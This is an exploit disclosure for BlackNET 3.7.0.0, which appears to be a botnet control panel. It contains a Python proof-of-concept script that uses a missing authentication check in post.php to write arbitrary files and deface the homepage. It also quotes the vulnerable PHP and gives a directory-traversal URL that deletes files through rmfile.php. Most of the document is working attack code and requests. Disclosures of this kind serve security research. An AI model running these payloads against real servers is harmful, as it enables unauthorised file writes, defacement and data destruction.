BlackNET 3.7.0.0 Missing Authentication / File Deletion / Traversal

`# Exploit Title: BlackNET - Multiple Vulnerabilities  
# Exploit Author: bRpsd  
# Date: 20/09/2024  
# Vendor Homepage: https://github.com/AndroVirus  
# Software Link: https://github.com/AndroVirus/BlackNET/  
# Version: v3.7.0.0  
# Tested on: MacOS - Xampp  
# CVE: NA  
import requests  
  
# Define the target URL for the POST request  
post_url = "http://localhost/x/BlackNET/BlackNET%20Panel/post.php"  
  
# Defaces the homepage  
payload = "Nothing to see here."  
data = {  
'folder_name': 'www', # this can create any folder on the server  
'file_name': 'index.html', # Name of the file to be created  
'data': payload # The payload being tested  
}  
  
# Send the POST request  
response = requests.post(post_url, data=data)  
  
# Check the response  
if response.status_code == 200:  
print("Request successful. Check if 'file' was created.")  
else:  
print(f"Request failed with status code: {response.status_code}")  
  
# Vulnerable code: /BlackNET/BlackNET%20Panel/post.php  
# header('Content-type: text/html; charset=utf-8');  
#  
# require_once 'config/config.php';  
# require_once APP_PATH . 'classes/POST.php';  
#  
# if ($_SERVER['REQUEST_METHOD'] == "POST") {  
# $POST = new BlackNET\POST();  
# $folder_name = isset($_POST['folder_name']) && $_POST['folder_name'] != "" ? $_POST['folder_name'] : 'www';  
# $file_name = isset($_POST['file_name']) ? $_POST['file_name'] : "unknown.txt";  
#  
# $data = $POST->sanitize($_POST['data']);  
#  
# $POST->prepare($folder_name, $file_name, $data);  
#  
# $POST->write();   
#  
###########################################################################################  
# Arbitrary File Deletion & Directory Traversal [Authenticated]  
# File: rmfile.php  
# Parameter: fname  
# Vul Code:  
#<?php  
# require_once 'session.php';  
  
#$msg = "";  
#$id = "";  
#if ($_SERVER['REQUEST_METHOD'] == "POST") {  
# $files = $_POST['file'];  
# $vicid = $utils->sanitize($_POST['vicid']);  
# if ($auth->checkToken($_POST['csrf'], $_SESSION['csrf'])) {  
# foreach ($files as $file) {  
#if (strpos($file, "../")) {  
# $id = $vicid;  
# $msg = "error";  
# }  
# $filename = $utils->sanitize($file);  
# $real_path = realpath("upload" . "/" . $vicid . "/" . $filename);  
# if (file_exists($real_path)) {  
# unlink($real_path);  
#  
#  
# Proof Of Concept:  
# http://localhost/x/BlackNET/BlackNET%20Panel/rmfile.php?fname=../favico.png&vicid=&csrf=95a6ae14d491e482b4370da1fd74f69891058f12472e6510e373889d99d84c3c  
`